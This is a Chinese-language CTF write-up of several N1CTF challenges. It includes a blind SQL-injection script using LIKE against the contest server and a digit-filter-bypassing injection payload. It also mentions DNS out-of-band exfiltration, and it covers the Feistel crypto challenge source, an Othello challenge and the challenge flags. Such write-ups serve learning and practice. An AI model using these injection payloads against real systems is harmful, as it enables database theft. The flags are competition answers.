写在前面:萌新第一次打国际赛(莫名紧张)没做出几题,国际赛就是国际赛,环境也十分接近实战,赛完也放出了源码和wp,十分良心的主办方,为Nu1L打call打call。(然而我并不会做几个题233333继续努力吧,还差得很远很远...)
2333333等我写wp的时候环境已经挂了,没办法懒是致命伤。所以下面用记忆和盗图做题23333333
进去就看到了信息
目标是爆出password,需要post两个值hi和flag。然后还有一些waf。
waf我一般都是手测。。。。然后写记事本上(然后榕榕姐姐告诉我其实可以用burp,好吧我宇宙第一头铁王加智障属性)
然后发现居然没有ban了like,哈?
拿一叶飘零写过的用like注入的脚本稍作修改跑一下就出来了flag。
ps:这里的回显的在MY PROFIT的分数下。然后这个题目没有token,所有人payload的分数都会反应在上面,所以脚本跑的时候会出现很多奇怪的东西。需要多跑几遍。
贴脚本:
ps:这里说一下,我才发现之前有些贴的脚本没有格式化,然而我只贴原理,脚本还是要自己写的,看的不爽欢迎吐槽。(然而懒成虫的我是不会改bug的)
import requests import string import re url = "http://47.97.168.223/" flag = "" true_flag = "" s = requests.session() for i in range(1,1000): payload = flag for j in "0123456789"+string.letters+"!@#$^&*(){}=+`~_": my = "11111 and password like 0x%s25"%(payload+hex(ord(j))[2:]) data = {"flag":"1","hi":my} #url1 = url+my #print url1 r =s.post(url=url,data=data) if ' |
爆出flag:
N1CTF{he3l3locat233}
我感觉这题是因为77777的上一题出现了非预期like,所以补一下。
burp测waf。
由于字典不全的缘故,只测出把like和一些东西给ban了,并没有测出数字被ban。
然后对于一个萌新来说,就并不会做了2333333333
问问梅子酒师傅,梅子酒说可能是oob攻击,搜了一下oob攻击,大致是dns盲注之类的,利用| dns通道带出信息。
然后dns打了一波。结果我的ceye什么回显都没有,我tm醉了。
后来才知道,原来过滤了数字!!!!
大约是过滤了数字2,3,4,5,9怪不得我dns的16进制打不出去。
过滤数字有啥?直接用加法就行了。
上一下我的头铁payload:
flag=0&hi=--(conv(hex((select substr((select pw ),(1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1),1))),16,10))
--有加法的作用,或者使用%2b,我这里使用的是括号运算。
然后这里有个巨坑,把pw给ban了。
我在pw后面加个空格就过了!!!什么原理??求师傅们指点一下。
my frofit回显的就是pw的ASCII,一个一个记录下来...
然后拿到flag。
N1CTF{HAHAH777A7AHA77777AAAA}
不知道什么鬼,想想签到可能就是在首页或者公告里面。去看看发现了
IRC频道走起。
发现频道置顶有base64加密的字符串,拿在线网站跑一下得flag。
ps:这里遇到两件好玩的事情,第一是有人在频道里面放假flag。笑死。第二是base64字符串是少了==的,用python解报错的,而我用的在线网站,没有补全只是会出现乱码,该有的结果还是会出来的。
和AI的斗智斗勇,我发誓如果我打下PPC第二题就去参加最强大脑,然后并没有打下来,后面计算时间为20s,要我命啊?
和AI下黑白棋,下输就行。233333脑洞很大我jio得ok。以前好不容易赢人机的,现在轮到要输。
ps:这里我并没有写一个AI和它打,直接下棋输掉出来的flag。
提供几条小技巧吧,先手两步的变化是确定的,之后也有规律可循,其实黑白棋的诀窍就是逼对手下四角,这样AI转化的棋子就越多,赢面就越大。(确实一开始我想过投机取巧来着,但是这题是wxy大神出的,他说加了几天的防御,日下来算他输)
盗图狗++
给出了两个python文件。
challenge.py
from N1ES import N1ES
import base64
key = "wxy191iss00000000000cute"
n1es = N1ES(key)
flag = "N1CTF{*****************************************}"
cipher = n1es.encrypt(flag)
print base64.b64encode(cipher) # HRlgC2ReHW1/WRk2DikfNBo1dl1XZBJrRR9qECMNOjNHDktBJSxcI1hZIz07YjVx
|
N1ES.py
# -*- coding: utf-8 -*- def round_add(a, b): f = lambda x, y: x + y - 2 * (x & y) res = '' for i in range(len(a)): res += chr(f(ord(a[i]), ord(b[i]))) return res def permutate(table, block): return list(map(lambda x: block[x], table)) def string_to_bits(data): data = [ord(c) for c in data] l = len(data) * 8 result = [0] * l pos = 0 for ch in data: for i in range(0, 8): result[(pos << 3) + i] = (ch >> i) & 1 pos += 1 return result s_box = [54, 132, 138, 83, 16, 73, 187, 84, 146, 30, 95, 21, 148, 63, 65, 189, 188, 151, 72, 161, 116, 63, 161, 91, 37, 24, 126, 107, 87, 30, 117, 185, 98, 90, 0, 42, 140, 70, 86, 0, 42, 150, 54, 22, 144, 153, 36, 90, 149, 54, 156, 8, 59, 40, 110, 56, 1, 84, 103, 22, 65, 17, 190, 41, 99, 151, 119, 124, 68, 17, 166, 125, 95, 65, 105, 133, 49, 19, 138, 29, 110, 7, 81, 134, 70, 87, 180, 78, 175, 108, 26, 121, 74, 29, 68, 162, 142, 177, 143, 86, 129, 101, 117, 41, 57, 34, 177, 103, 61, 135, 191, 74, 69, 147, 90, 49, 135, 124, 106, 19, 89, 38, 21, 41, 17, 155, 83, 38, 159, 179, 19, 157, 68, 105, 151, 166, 171, 122, 179, 114, 52, 183, 89, 107, 113, 65, 161, 141, 18, 121, 95, 4, 95, 101, 81, 156, 17, 190, 38, 84, 9, 171, 180, 59, 45, 15, 34, 89, 75, 164, 190, 140, 6, 41, 188, 77, 165, 105, 5, 107, 31, 183, 107, 141, 66, 63, 10, 9, 125, 50, 2, 153, 156, 162, 186, 76, 158, 153, 117, 9, 77, 156, 11, 145, 12, 169, 52, 57, 161, 7, 158, 110, 191, 43, 82, 186, 49, 102, 166, 31, 41, 5, 189, 27] def generate(o): k = permutate(s_box, o) b = [] for i in range(0, len(k), 7): b.append(k[i:i + 7] + [1]) c = [] for i in range(32): pos = 0 x = 0 for j in b[i]: x += (j << pos) pos += 1 c.append((0x10001 ** x) % (0x7f)) return c class N1ES: def __init__(self, key): if (len(key) != 24 or isinstance(key, bytes) == False): raise Exception("key must be 24 bytes long") self.key = key self.gen_subkey() def gen_subkey(self): o = string_to_bits(self.key) k = [] for i in range(8): o = generate(o) k.extend(o) o = string_to_bits([chr(c) for c in o[0:24]]) self.Kn = [] for i in range(32): self.Kn.append(map(chr, k[i * 8: i * 8 + 8])) return def encrypt(self, plaintext): if (len(plaintext) % 16 != 0 or isinstance(plaintext, bytes) == False): raise Exception("plaintext must be a multiple of 16 in length") res = '' for i in range(len(plaintext) / 16): block = plaintext[i * 16:(i + 1) * 16] L = block[:8] R = block[8:] for round_cnt in range(32): L, R = R, (round_add(L, self.Kn[round_cnt])) L, R = R, L res += L + R return res |
数学问题,看懂框架直接能秒的题。
原来对密文再加密之后就是明文(出题的学长说这是非预期解2333333)
改一下challenge.py,管他那么多,循环100次。
from N1ES import N1ES import base64 key = "wxy191iss00000000000cute" n1es = N1ES(key) flag = "N1CTF{*****************************************}" t='HRlgC2ReHW1/WRk2DikfNBo1dl1XZBJrRR9qECMNOjNHDktBJSxcI1hZIz07YjVx' t=base64.b64decode(t) s = n1es.encrypt(t) print s for i in range(0,100): s = n1es.encrypt(s) print s |
拿到flag:
N1CTF{F3istel_n3tw0rk_c4n_b3_ea5i1y_s0lv3d_/--/}
这题是在队友之后做出来的,不知道他怎么做的2333333膜一发大佬,大佬带带我。
一题pwn和rsa结合的题。利用e的溢出带出p,利用p算q和d和m。从而拿到flag。
环境挂了嘿嘿,盗图狗属性++
不过听大腿说倒是有人用低指数广播攻击做出来了。打出了17个e等于3的信息,然后解方程。利用中国剩余定理解同余方程。大写的服!这就是国际级的比赛吗?高手如云啊!